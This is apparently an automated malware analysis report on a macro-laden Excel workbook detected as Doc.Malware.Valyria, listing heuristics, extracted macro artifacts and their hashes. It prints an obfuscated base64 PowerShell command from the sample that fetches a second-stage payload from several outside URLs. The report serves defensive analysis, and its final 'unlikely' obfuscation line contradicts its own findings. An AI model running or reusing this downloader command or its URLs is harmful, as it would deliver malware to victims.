Malware Insights
The presence of a Workbook_Open macro and the use of CreateObject indicate malicious VBA code execution. The obfuscated commands within the document body, including the reconstructed PowerShell command 'hell -e Has4htksdighfdGJSXDghs4tshdkrg zasg3ksjfHXGHJXdfezse34 n JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHIAZQB1AG0AYQB0AGkAcwBtAGMAbABpAG4AaQBjAC4AYwBvAG0ALwAtAC8AcwBjAEMAbgBtADMAbQBiAEoAUgBwAHMAYQBCAEsAQgBiAHIAQwAvACwAaAB0AHQAcABzADoALwAvAHMAaABvAGQAaABtAGEAbgBqAGEAcgBpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB4AGoARQBtAEsANABQAGQAMwBOAC8ALABoAHQAdABwADoALwAvAHQAdQBiAGUAbABvAGMAYQBsAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBYADQAWABtADQATQBrAC8ALABoAHQAdABwAHMAOgAvAC8AcABhAGMAaQBmAGkAYwBoAG8AbQBlAGIAcgBvAGsAZQByAC4AYwBvAG0ALwByAG8AZABlAHIAaQBjAGsALwBSAFIAawAvACwAaAB0AHQAcABzADoALwAvAG0AbwBsAGkAbgBhAGkALQBqAG8AdQByAG4AYQBsAC4A', strongly suggest the execution of a downloader for a second-stage payload. The extracted URLs are highly suspicious and likely serve as C2 infrastructure.
Heuristics 6
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ClamAV: Doc.Malware.Valyria-10004384-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-10004384-0
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ClamAV detection on extracted artifact critical EXTRACTED_FILE_CLAMAVClamAV flagged at least one file extracted from inside this sample. Even when the wrapping document carries no AV detection of its own, a hit on the carved artifact is a strong indicator the sample is a delivery vehicle.
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Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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VBA project inside OOXML medium OOXML_VBADocument contains a VBA project — VBA macros present
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas527d0656a0c2c323955d068683ef8f7e20c035cda247a1e24383595c0eb3403b |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 7821 bytes |
vbaProject_00.bin3705a4aa843c4c72edf76d2cb1c5a7a92ef1df04478bd670924663f0dd071b80 |
vba-project | OOXML VBA project: xl/vbaProject.bin | 37888 bytes |
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Detection
ClamAV:
Doc.Malware.Valyria-10004384-0
Obfuscation or payload:
unlikely
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